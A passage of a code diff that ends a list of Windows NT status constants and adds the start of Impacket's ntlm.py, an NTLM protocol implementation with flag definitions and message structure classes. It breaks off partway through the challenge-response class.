+STATUS_FVE_OVERLAPPED_UPDATE                                      = 0xC021000F
+STATUS_FVE_FAILED_SECTOR_SIZE                                     = 0xC0210010
+STATUS_FVE_FAILED_AUTHENTICATION                                  = 0xC0210011
+STATUS_FVE_NOT_OS_VOLUME                                          = 0xC0210012
+STATUS_FVE_KEYFILE_NOT_FOUND                                      = 0xC0210013
+STATUS_FVE_KEYFILE_INVALID                                        = 0xC0210014
+STATUS_FVE_KEYFILE_NO_VMK                                         = 0xC0210015
+STATUS_FVE_TPM_DISABLED                                           = 0xC0210016
+STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO                                  = 0xC0210017
+STATUS_FVE_TPM_INVALID_PCR                                        = 0xC0210018
+STATUS_FVE_TPM_NO_VMK                                             = 0xC0210019
+STATUS_FVE_PIN_INVALID                                            = 0xC021001A
+STATUS_FVE_AUTH_INVALID_APPLICATION                               = 0xC021001B
+STATUS_FVE_AUTH_INVALID_CONFIG                                    = 0xC021001C
+STATUS_FVE_DEBUGGER_ENABLED                                       = 0xC021001D
+STATUS_FVE_DRY_RUN_FAILED                                         = 0xC021001E
+STATUS_FVE_BAD_METADATA_POINTER                                   = 0xC021001F
+STATUS_FVE_OLD_METADATA_COPY                                      = 0xC0210020
+STATUS_FVE_REBOOT_REQUIRED                                        = 0xC0210021
+STATUS_FVE_RAW_ACCESS                                             = 0xC0210022
+STATUS_FVE_RAW_BLOCKED                                            = 0xC0210023
+STATUS_FVE_NO_FEATURE_LICENSE                                     = 0xC0210026
+STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED                    = 0xC0210027
+STATUS_FVE_CONV_RECOVERY_FAILED                                   = 0xC0210028
+STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG                              = 0xC0210029
+STATUS_FVE_VOLUME_TOO_SMALL                                       = 0xC0210030
+STATUS_FWP_CALLOUT_NOT_FOUND                                      = 0xC0220001
+STATUS_FWP_CONDITION_NOT_FOUND                                    = 0xC0220002
+STATUS_FWP_FILTER_NOT_FOUND                                       = 0xC0220003
+STATUS_FWP_LAYER_NOT_FOUND                                        = 0xC0220004
+STATUS_FWP_PROVIDER_NOT_FOUND                                     = 0xC0220005
+STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND                             = 0xC0220006
+STATUS_FWP_SUBLAYER_NOT_FOUND                                     = 0xC0220007
+STATUS_FWP_NOT_FOUND                                              = 0xC0220008
+STATUS_FWP_ALREADY_EXISTS                                         = 0xC0220009
+STATUS_FWP_IN_USE                                                 = 0xC022000A
+STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS                            = 0xC022000B
+STATUS_FWP_WRONG_SESSION                                          = 0xC022000C
+STATUS_FWP_NO_TXN_IN_PROGRESS                                     = 0xC022000D
+STATUS_FWP_TXN_IN_PROGRESS                                        = 0xC022000E
+STATUS_FWP_TXN_ABORTED                                            = 0xC022000F
+STATUS_FWP_SESSION_ABORTED                                        = 0xC0220010
+STATUS_FWP_INCOMPATIBLE_TXN                                       = 0xC0220011
+STATUS_FWP_TIMEOUT                                                = 0xC0220012
+STATUS_FWP_NET_EVENTS_DISABLED                                    = 0xC0220013
+STATUS_FWP_INCOMPATIBLE_LAYER                                     = 0xC0220014
+STATUS_FWP_KM_CLIENTS_ONLY                                        = 0xC0220015
+STATUS_FWP_LIFETIME_MISMATCH                                      = 0xC0220016
+STATUS_FWP_BUILTIN_OBJECT                                         = 0xC0220017
+STATUS_FWP_TOO_MANY_BOOTTIME_FILTERS                              = 0xC0220018
+STATUS_FWP_TOO_MANY_CALLOUTS                                      = 0xC0220018
+STATUS_FWP_NOTIFICATION_DROPPED                                   = 0xC0220019
+STATUS_FWP_TRAFFIC_MISMATCH                                       = 0xC022001A
+STATUS_FWP_INCOMPATIBLE_SA_STATE                                  = 0xC022001B
+STATUS_FWP_NULL_POINTER                                           = 0xC022001C
+STATUS_FWP_INVALID_ENUMERATOR                                     = 0xC022001D
+STATUS_FWP_INVALID_FLAGS                                          = 0xC022001E
+STATUS_FWP_INVALID_NET_MASK                                       = 0xC022001F
+STATUS_FWP_INVALID_RANGE                                          = 0xC0220020
+STATUS_FWP_INVALID_INTERVAL                                       = 0xC0220021
+STATUS_FWP_ZERO_LENGTH_ARRAY                                      = 0xC0220022
+STATUS_FWP_NULL_DISPLAY_NAME                                      = 0xC0220023
+STATUS_FWP_INVALID_ACTION_TYPE                                    = 0xC0220024
+STATUS_FWP_INVALID_WEIGHT                                         = 0xC0220025
+STATUS_FWP_MATCH_TYPE_MISMATCH                                    = 0xC0220026
+STATUS_FWP_TYPE_MISMATCH                                          = 0xC0220027
+STATUS_FWP_OUT_OF_BOUNDS                                          = 0xC0220028
+STATUS_FWP_RESERVED                                               = 0xC0220029
+STATUS_FWP_DUPLICATE_CONDITION                                    = 0xC022002A
+STATUS_FWP_DUPLICATE_KEYMOD                                       = 0xC022002B
+STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER                         = 0xC022002C
+STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER                      = 0xC022002D
+STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER                        = 0xC022002E
+STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT                      = 0xC022002F
+STATUS_FWP_INCOMPATIBLE_AUTH_METHOD                               = 0xC0220030
+STATUS_FWP_INCOMPATIBLE_DH_GROUP                                  = 0xC0220031
+STATUS_FWP_EM_NOT_SUPPORTED                                       = 0xC0220032
+STATUS_FWP_NEVER_MATCH                                            = 0xC0220033
+STATUS_FWP_PROVIDER_CONTEXT_MISMATCH                              = 0xC0220034
+STATUS_FWP_INVALID_PARAMETER                                      = 0xC0220035
+STATUS_FWP_TOO_MANY_SUBLAYERS                                     = 0xC0220036
+STATUS_FWP_CALLOUT_NOTIFICATION_FAILED                            = 0xC0220037
+STATUS_FWP_INCOMPATIBLE_AUTH_CONFIG                               = 0xC0220038
+STATUS_FWP_INCOMPATIBLE_CIPHER_CONFIG                             = 0xC0220039
+STATUS_FWP_DUPLICATE_AUTH_METHOD                                  = 0xC022003C
+STATUS_FWP_TCPIP_NOT_READY                                        = 0xC0220100
+STATUS_FWP_INJECT_HANDLE_CLOSING                                  = 0xC0220101
+STATUS_FWP_INJECT_HANDLE_STALE                                    = 0xC0220102
+STATUS_FWP_CANNOT_PEND                                            = 0xC0220103
+STATUS_NDIS_CLOSING                                               = 0xC0230002
+STATUS_NDIS_BAD_VERSION                                           = 0xC0230004
+STATUS_NDIS_BAD_CHARACTERISTICS                                   = 0xC0230005
+STATUS_NDIS_ADAPTER_NOT_FOUND                                     = 0xC0230006
+STATUS_NDIS_OPEN_FAILED                                           = 0xC0230007
+STATUS_NDIS_DEVICE_FAILED                                         = 0xC0230008
+STATUS_NDIS_MULTICAST_FULL                                        = 0xC0230009
+STATUS_NDIS_MULTICAST_EXISTS                                      = 0xC023000A
+STATUS_NDIS_MULTICAST_NOT_FOUND                                   = 0xC023000B
+STATUS_NDIS_REQUEST_ABORTED                                       = 0xC023000C
+STATUS_NDIS_RESET_IN_PROGRESS                                     = 0xC023000D
+STATUS_NDIS_INVALID_PACKET                                        = 0xC023000F
+STATUS_NDIS_INVALID_DEVICE_REQUEST                                = 0xC0230010
+STATUS_NDIS_ADAPTER_NOT_READY                                     = 0xC0230011
+STATUS_NDIS_INVALID_LENGTH                                        = 0xC0230014
+STATUS_NDIS_INVALID_DATA                                          = 0xC0230015
+STATUS_NDIS_BUFFER_TOO_SHORT                                      = 0xC0230016
+STATUS_NDIS_INVALID_OID                                           = 0xC0230017
+STATUS_NDIS_ADAPTER_REMOVED                                       = 0xC0230018
+STATUS_NDIS_UNSUPPORTED_MEDIA                                     = 0xC0230019
+STATUS_NDIS_GROUP_ADDRESS_IN_USE                                  = 0xC023001A
+STATUS_NDIS_FILE_NOT_FOUND                                        = 0xC023001B
+STATUS_NDIS_ERROR_READING_FILE                                    = 0xC023001C
+STATUS_NDIS_ALREADY_MAPPED                                        = 0xC023001D
+STATUS_NDIS_RESOURCE_CONFLICT                                     = 0xC023001E
+STATUS_NDIS_MEDIA_DISCONNECTED                                    = 0xC023001F
+STATUS_NDIS_INVALID_ADDRESS                                       = 0xC0230022
+STATUS_NDIS_PAUSED                                                = 0xC023002A
+STATUS_NDIS_INTERFACE_NOT_FOUND                                   = 0xC023002B
+STATUS_NDIS_UNSUPPORTED_REVISION                                  = 0xC023002C
+STATUS_NDIS_INVALID_PORT                                          = 0xC023002D
+STATUS_NDIS_INVALID_PORT_STATE                                    = 0xC023002E
+STATUS_NDIS_LOW_POWER_STATE                                       = 0xC023002F
+STATUS_NDIS_NOT_SUPPORTED                                         = 0xC02300BB
+STATUS_NDIS_OFFLOAD_POLICY                                        = 0xC023100F
+STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED                           = 0xC0231012
+STATUS_NDIS_OFFLOAD_PATH_REJECTED                                 = 0xC0231013
+STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED                             = 0xC0232000
+STATUS_NDIS_DOT11_MEDIA_IN_USE                                    = 0xC0232001
+STATUS_NDIS_DOT11_POWER_STATE_INVALID                             = 0xC0232002
+STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL                              = 0xC0232003
+STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL                         = 0xC0232004
+STATUS_IPSEC_BAD_SPI                                              = 0xC0360001
+STATUS_IPSEC_SA_LIFETIME_EXPIRED                                  = 0xC0360002
+STATUS_IPSEC_WRONG_SA                                             = 0xC0360003
+STATUS_IPSEC_REPLAY_CHECK_FAILED                                  = 0xC0360004
+STATUS_IPSEC_INVALID_PACKET                                       = 0xC0360005
+STATUS_IPSEC_INTEGRITY_CHECK_FAILED                               = 0xC0360006
+STATUS_IPSEC_CLEAR_TEXT_DROP                                      = 0xC0360007
+STATUS_IPSEC_AUTH_FIREWALL_DROP                                   = 0xC0360008
+STATUS_IPSEC_THROTTLE_DROP                                        = 0xC0360009
+STATUS_IPSEC_DOSP_BLOCK                                           = 0xC0368000
+STATUS_IPSEC_DOSP_RECEIVED_MULTICAST                              = 0xC0368001
+STATUS_IPSEC_DOSP_INVALID_PACKET                                  = 0xC0368002
+STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED                             = 0xC0368003
+STATUS_IPSEC_DOSP_MAX_ENTRIES                                     = 0xC0368004
+STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED                              = 0xC0368005
+STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES                     = 0xC0368006
+STATUS_VOLMGR_MIRROR_NOT_SUPPORTED                                = 0xC038005B
+STATUS_VOLMGR_RAID5_NOT_SUPPORTED                                 = 0xC038005C
+STATUS_VIRTDISK_PROVIDER_NOT_FOUND                                = 0xC03A0014
+STATUS_VIRTDISK_NOT_VIRTUAL_DISK                                  = 0xC03A0015
+STATUS_VHD_PARENT_VHD_ACCESS_DENIED                               = 0xC03A0016
+STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH                             = 0xC03A0017
+STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED                      = 0xC03A0018
+STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT                     = 0xC03A0019
diff --git a/impacket/ntlm.py b/impacket/ntlm.py
new file mode 100644
index 0000000..bf26f1d
--- /dev/null
+++ b/impacket/ntlm.py
@@ -0,0 +1,980 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+from __future__ import division
+from __future__ import print_function
+import base64
+import struct
+import calendar
+import time
+import hashlib
+import random
+import string
+import binascii
+from six import b
+
+from impacket.structure import Structure
+from impacket import LOG
+
+
+# This is important. NTLMv2 is not negotiated by the client or server. 
+# It is used if set locally on both sides. Change this item if you don't want to use 
+# NTLMv2 by default and fall back to NTLMv1 (with EXTENDED_SESSION_SECURITY or not)
+# Check the following links:
+# https://davenport.sourceforge.io/ntlm.html
+# https://blogs.msdn.microsoft.com/openspecification/2010/04/19/ntlm-keys-and-sundry-stuff/
+# https://social.msdn.microsoft.com/Forums/c8f488ed-1b96-4e06-bd65-390aa41138d1/msnlmp-msntht-determining-ntlm-v1-or-v2-in-http-authentication?forum=os_specifications
+# So I'm setting a global variable to control this, this can also be set programmatically
+
+USE_NTLMv2 = True # if false will fall back to NTLMv1 (or NTLMv1 with ESS a.k.a NTLM2)
+TEST_CASE = False # Only set to True when running Test Cases
+
+
+def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='',
+                    use_ntlmv2=USE_NTLMv2):
+    if use_ntlmv2:
+        return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
+                                     lmhash, nthash, use_ntlmv2=use_ntlmv2)
+    else:
+        return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password,
+                                     lmhash, nthash, use_ntlmv2=use_ntlmv2)
+try:
+    from Cryptodome.Cipher import ARC4
+    from Cryptodome.Cipher import DES
+    from Cryptodome.Hash import MD4
+except Exception:
+    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+    LOG.critical("See https://pypi.org/project/pycryptodomex/")
+
+NTLM_AUTH_NONE          = 1
+NTLM_AUTH_CONNECT       = 2
+NTLM_AUTH_CALL          = 3
+NTLM_AUTH_PKT           = 4
+NTLM_AUTH_PKT_INTEGRITY = 5
+NTLM_AUTH_PKT_PRIVACY   = 6
+
+# If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN
+# with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to
+# the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128
+# are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be
+# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is
+# supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.
+NTLMSSP_NEGOTIATE_56                       = 0x80000000
+
+# If set, requests an explicit key exchange. This capability SHOULD be used because it improves security for message
+# integrity or confidentiality. See sections 3.2.5.1.2, 3.2.5.2.1, and 3.2.5.2.2 for details. An alternate name for
+# this field is NTLMSSP_NEGOTIATE_KEY_EXCH.
+NTLMSSP_NEGOTIATE_KEY_EXCH                 = 0x40000000
+
+# If set, requests 128-bit session key negotiation. An alternate name for this field is NTLMSSP_NEGOTIATE_128.
+# If the client sends NTLMSSP_NEGOTIATE_128 to the server in the NEGOTIATE_MESSAGE, the server MUST return
+# NTLMSSP_NEGOTIATE_128 to the client in the CHALLENGE_MESSAGE only if the client sets NTLMSSP_NEGOTIATE_SEAL or
+# NTLMSSP_NEGOTIATE_SIGN. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 are
+# requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be
+# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_128 if it
+# is supported. An alternate name for this field is NTLMSSP_NEGOTIATE_128
+NTLMSSP_NEGOTIATE_128                      = 0x20000000
+
+NTLMSSP_RESERVED_1                         = 0x10000000
+NTLMSSP_RESERVED_2                         = 0x08000000
+NTLMSSP_RESERVED_3                         = 0x04000000
+
+# If set, requests the protocol version number. The data corresponding to this flag is provided in the Version field
+# of the NEGOTIATE_MESSAGE, the CHALLENGE_MESSAGE, and the AUTHENTICATE_MESSAGE.<22> An alternate name for this field
+# is NTLMSSP_NEGOTIATE_VERSION
+NTLMSSP_NEGOTIATE_VERSION                  = 0x02000000
+NTLMSSP_RESERVED_4                         = 0x01000000
+
+# If set, indicates that the TargetInfo fields in the CHALLENGE_MESSAGE (section 2.2.1.2) are populated.
+# An alternate name for this field is NTLMSSP_NEGOTIATE_TARGET_INFO.
+NTLMSSP_NEGOTIATE_TARGET_INFO              = 0x00800000
+
+# If set, requests the usage of the LMOWF (section 3.3). An alternate name for this field is
+# NTLMSSP_REQUEST_NON_NT_SESSION_KEY.
+NTLMSSP_REQUEST_NON_NT_SESSION_KEY         = 0x00400000
+NTLMSSP_RESERVED_5                         = 0x00200000
+
+# If set, requests an identify level token. An alternate name for this field is NTLMSSP_NEGOTIATE_IDENTIFY
+NTLMSSP_NEGOTIATE_IDENTIFY                 = 0x00100000
+
+# If set, requests usage of the NTLM v2 session security. NTLM v2 session security is a misnomer because it is not
+# NTLM v2. It is NTLM v1 using the extended session security that is also in NTLM v2. NTLMSSP_NEGOTIATE_LM_KEY and
+# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+# and NTLMSSP_NEGOTIATE_LM_KEY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be returned to the
+# client. NTLM v2 authentication session key generation MUST be supported by both the client and the DC in order to be
+# used, and extended session security signing and sealing requires support from the client and the server in order to
+# be used.<23> An alternate name for this field is NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
+NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000
+NTLMSSP_NEGOTIATE_NTLM2                    = 0x00080000
+NTLMSSP_TARGET_TYPE_SHARE                  = 0x00040000
+
+# If set, TargetName MUST be a server name. The data corresponding to this flag is provided by the server in the
+# TargetName field of the CHALLENGE_MESSAGE. If this bit is set, then NTLMSSP_TARGET_TYPE_DOMAIN MUST NOT be set.
+# This flag MUST be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field
+# is NTLMSSP_TARGET_TYPE_SERVER
+NTLMSSP_TARGET_TYPE_SERVER                 = 0x00020000
+
+# If set, TargetName MUST be a domain name. The data corresponding to this flag is provided by the server in the
+# TargetName field of the CHALLENGE_MESSAGE. If set, then NTLMSSP_TARGET_TYPE_SERVER MUST NOT be set. This flag MUST
+# be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field is
+# NTLMSSP_TARGET_TYPE_DOMAIN.
+NTLMSSP_TARGET_TYPE_DOMAIN                 = 0x00010000
+
+# If set, requests the presence of a signature block on all messages. NTLMSSP_NEGOTIATE_ALWAYS_SIGN MUST be set in the
+# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. NTLMSSP_NEGOTIATE_ALWAYS_SIGN is overridden
+# by NTLMSSP_NEGOTIATE_SIGN and NTLMSSP_NEGOTIATE_SEAL, if they are supported. An alternate name for this field is
+# NTLMSSP_NEGOTIATE_ALWAYS_SIGN.
+NTLMSSP_NEGOTIATE_ALWAYS_SIGN              = 0x00008000       # forces the other end to sign packets
+NTLMSSP_RESERVED_6                         = 0x00004000
+
+# This flag indicates whether the Workstation field is present. If this flag is not set, the Workstation field MUST be
+# ignored. If this flag is set, the length field of the Workstation field specifies whether the workstation name is
+# nonempty or not.<24> An alternate name for this field is NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED.
+NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000
+
+# If set, the domain name is provided (section 2.2.1.1).<25> An alternate name for this field is
+# NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED
+NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED      = 0x00001000
+
+# If set, the connection SHOULD be anonymous
+NTLMSSP_NEGOTIATE_ANONYMOUS                = 0x00000800
+
+# If set, LM authentication is not allowed and only NT authentication is used.
+NTLMSSP_NEGOTIATE_NT_ONLY                  = 0x00000400
+
+# If set, requests usage of the NTLM v1 session security protocol. NTLMSSP_NEGOTIATE_NTLM MUST be set in the
+# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate name for this field is
+# NTLMSSP_NEGOTIATE_NTLM
+NTLMSSP_NEGOTIATE_NTLM                     = 0x00000200
+NTLMSSP_RESERVED_8                         = 0x00000100
+
+# If set, requests LAN Manager (LM) session key computation. NTLMSSP_NEGOTIATE_LM_KEY and
+# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_LM_KEY and
+# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be
+# returned to the client. NTLM v2 authentication session key generation MUST be supported by both the client and the
+# DC in order to be used, and extended session security signing and sealing requires support from the client and the
+# server to be used. An alternate name for this field is NTLMSSP_NEGOTIATE_LM_KEY.
+NTLMSSP_NEGOTIATE_LM_KEY                   = 0x00000080
+
+# If set, requests connectionless authentication. If NTLMSSP_NEGOTIATE_DATAGRAM is set, then NTLMSSP_NEGOTIATE_KEY_EXCH
+# MUST always be set in the AUTHENTICATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate
+# name for this field is NTLMSSP_NEGOTIATE_DATAGRAM.
+NTLMSSP_NEGOTIATE_DATAGRAM                 = 0x00000040
+
+# If set, requests session key negotiation for message confidentiality. If the client sends NTLMSSP_NEGOTIATE_SEAL to
+# the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SEAL to the client in the
+# CHALLENGE_MESSAGE. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD always set NTLMSSP_NEGOTIATE_56 and
+# NTLMSSP_NEGOTIATE_128, if they are supported. An alternate name for this field is NTLMSSP_NEGOTIATE_SEAL.
+NTLMSSP_NEGOTIATE_SEAL                     = 0x00000020
+
+# If set, requests session key negotiation for message signatures. If the client sends NTLMSSP_NEGOTIATE_SIGN to the
+# server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SIGN to the client in the CHALLENGE_MESSAGE.
+# An alternate name for this field is NTLMSSP_NEGOTIATE_SIGN.
+NTLMSSP_NEGOTIATE_SIGN                     = 0x00000010       # means packet is signed, if verifier is wrong it fails
+NTLMSSP_RESERVED_9                         = 0x00000008
+
+# If set, a TargetName field of the CHALLENGE_MESSAGE (section 2.2.1.2) MUST be supplied. An alternate name for this
+# field is NTLMSSP_REQUEST_TARGET.
+NTLMSSP_REQUEST_TARGET                     = 0x00000004
+
+# If set, requests OEM character set encoding. An alternate name for this field is NTLM_NEGOTIATE_OEM. See bit A for
+# details.
+NTLM_NEGOTIATE_OEM                         = 0x00000002
+
+# If set, requests Unicode character set encoding. An alternate name for this field is NTLMSSP_NEGOTIATE_UNICODE.
+NTLMSSP_NEGOTIATE_UNICODE                  = 0x00000001
+
+# AV_PAIR constants
+NTLMSSP_AV_EOL              = 0x00
+NTLMSSP_AV_HOSTNAME         = 0x01
+NTLMSSP_AV_DOMAINNAME       = 0x02
+NTLMSSP_AV_DNS_HOSTNAME     = 0x03
+NTLMSSP_AV_DNS_DOMAINNAME   = 0x04
+NTLMSSP_AV_DNS_TREENAME     = 0x05
+NTLMSSP_AV_FLAGS            = 0x06
+NTLMSSP_AV_TIME             = 0x07
+NTLMSSP_AV_RESTRICTIONS     = 0x08
+NTLMSSP_AV_TARGET_NAME      = 0x09
+NTLMSSP_AV_CHANNEL_BINDINGS = 0x0a
+
+class AV_PAIRS:
+    def __init__(self, data = None):
+        self.fields = {}
+        if data is not None:
+            self.fromString(data)
+
+    def __setitem__(self,key,value):
+        self.fields[key] = (len(value),value)
+
+    def __getitem__(self, key):
+        if key in self.fields:
+           return self.fields[key]
+        return None
+
+    def __delitem__(self, key):
+        del self.fields[key]
+
+    def __len__(self):
+        return len(self.getData())
+
+    def __str__(self):
+        return len(self.getData())
+
+    def fromString(self, data):
+        tInfo = data
+        fType = 0xff
+        while fType is not NTLMSSP_AV_EOL:
+            fType = struct.unpack('<H',tInfo[:struct.calcsize('<H')])[0]
+            tInfo = tInfo[struct.calcsize('<H'):]
+            length = struct.unpack('<H',tInfo[:struct.calcsize('<H')])[0]
+            tInfo = tInfo[struct.calcsize('<H'):]
+            content = tInfo[:length]
+            self.fields[fType]=(length,content)
+            tInfo = tInfo[length:]
+
+    def dump(self):
+        for i in list(self.fields.keys()):
+            print("%s: {%r}" % (i,self[i]))
+
+    def getData(self):
+        if NTLMSSP_AV_EOL in self.fields:
+            del self.fields[NTLMSSP_AV_EOL]
+        ans = b''
+        for i in list(self.fields.keys()):
+            ans+= struct.pack('<HH', i, self[i][0])
+            ans+= self[i][1]
+ 
+        # end with a NTLMSSP_AV_EOL
+        ans += struct.pack('<HH', NTLMSSP_AV_EOL, 0)
+
+        return ans
+
+# [MS-NLMP] 2.2.2.10 VERSION
+# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175
+class VERSION(Structure):
+    NTLMSSP_REVISION_W2K3 = 0x0F
+
+    structure = (
+        ('ProductMajorVersion', '<B=0'),
+        ('ProductMinorVersion', '<B=0'),
+        ('ProductBuild', '<H=0'),
+        ('Reserved', '3s=""'),
+        ('NTLMRevisionCurrent', '<B=self.NTLMSSP_REVISION_W2K3'),
+    )
+
+class NTLMAuthNegotiate(Structure):
+
+    structure = (
+        ('','"NTLMSSP\x00'),
+        ('message_type','<L=1'),
+        ('flags','<L'),
+        ('domain_len','<H-domain_name'),
+        ('domain_max_len','<H-domain_name'),
+        ('domain_offset','<L=0'),
+        ('host_len','<H-host_name'),
+        ('host_maxlen','<H-host_name'),
+        ('host_offset','<L=0'),
+        ('os_version',':'),
+        ('host_name',':'),
+        ('domain_name',':'))
+                                                                                
+    def __init__(self):
+        Structure.__init__(self)
+        self['flags']= (
+               NTLMSSP_NEGOTIATE_128     |
+               NTLMSSP_NEGOTIATE_KEY_EXCH|
+               # NTLMSSP_LM_KEY      |
+               NTLMSSP_NEGOTIATE_NTLM    |
+               NTLMSSP_NEGOTIATE_UNICODE     |
+               # NTLMSSP_ALWAYS_SIGN |
+               NTLMSSP_NEGOTIATE_SIGN        |
+               NTLMSSP_NEGOTIATE_SEAL        |
+               # NTLMSSP_TARGET      |
+               0)
+        self['host_name']=''
+        self['domain_name']=''
+        self['os_version']=''
+        self._workstation = ''
+
+    def setWorkstation(self, workstation):
+        self._workstation = workstation
+
+    def getWorkstation(self):
+        return self._workstation
+
+    def __hasNegotiateVersion(self):
+        return (self['flags'] & NTLMSSP_NEGOTIATE_VERSION) == NTLMSSP_NEGOTIATE_VERSION
+
+    def getData(self):
+        if len(self.fields['host_name']) > 0:
+            self['flags'] |= NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED
+        if len(self.fields['domain_name']) > 0:
+            self['flags'] |= NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED
+        version_len = len(self.fields['os_version'])
+        if version_len > 0:
+            self['flags'] |= NTLMSSP_NEGOTIATE_VERSION
+        elif self.__hasNegotiateVersion():
+            raise Exception('Must provide the os_version field if the NTLMSSP_NEGOTIATE_VERSION flag is set')
+        if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED:
+            self['host_offset']=32 + version_len
+        if (self['flags'] & NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED) == NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED:
+            self['domain_offset']=32+len(self['host_name']) + version_len
+        return Structure.getData(self)
+
+    def fromString(self,data):
+        Structure.fromString(self,data)
+
+        domain_offset = self['domain_offset']
+        domain_end    = self['domain_len'] + domain_offset
+        self['domain_name'] = data[ domain_offset : domain_end ]
+
+        host_offset = self['host_offset']
+        host_end    = self['host_len'] + host_offset
+        self['host_name'] = data[ host_offset : host_end ]
+
+        if len(data) >= 36 and self.__hasNegotiateVersion():
+            self['os_version'] = VERSION(data[32:])
+        else:
+            self['os_version'] = ''
+
+class NTLMAuthChallenge(Structure):
+
+    structure = (
+        ('','"NTLMSSP\x00'),
+        ('message_type','<L=2'),
+        ('domain_len','<H-domain_name'),
+        ('domain_max_len','<H-domain_name'),
+        ('domain_offset','<L=40'),
+        ('flags','<L=0'),
+        ('challenge','8s'),
+        ('reserved','8s=""'),
+        ('TargetInfoFields_len','<H-TargetInfoFields'),
+        ('TargetInfoFields_max_len','<H-TargetInfoFields'),
+        ('TargetInfoFields_offset','<L'),
+        ('VersionLen','_-Version','self.checkVersion(self["flags"])'), 
+        ('Version',':'),
+        ('domain_name',':'),
+        ('TargetInfoFields',':'))
+
+    @staticmethod
+    def checkVersion(flags):
+        if flags is not None:
+           if flags & NTLMSSP_NEGOTIATE_VERSION == 0:
+              return 0
+        return 8
+
+    def getData(self):
+        if self['TargetInfoFields'] is not None and type(self['TargetInfoFields']) is not bytes:
+            raw_av_fields = self['TargetInfoFields'].getData()
+            self['TargetInfoFields'] = raw_av_fields
+        return Structure.getData(self)
+
+    def fromString(self,data):
+        Structure.fromString(self,data)
+        self['domain_name'] = data[self['domain_offset']:][:self['domain_len']]
+        self['TargetInfoFields'] = data[self['TargetInfoFields_offset']:][:self['TargetInfoFields_len']]
+        return self
+        
+class NTLMAuthChallengeResponse(Structure):
+
+    structure = (
+        ('','"NTLMSSP\x00'),
+        ('message_type','<L=3'),
+        ('lanman_len','<H-lanman'),
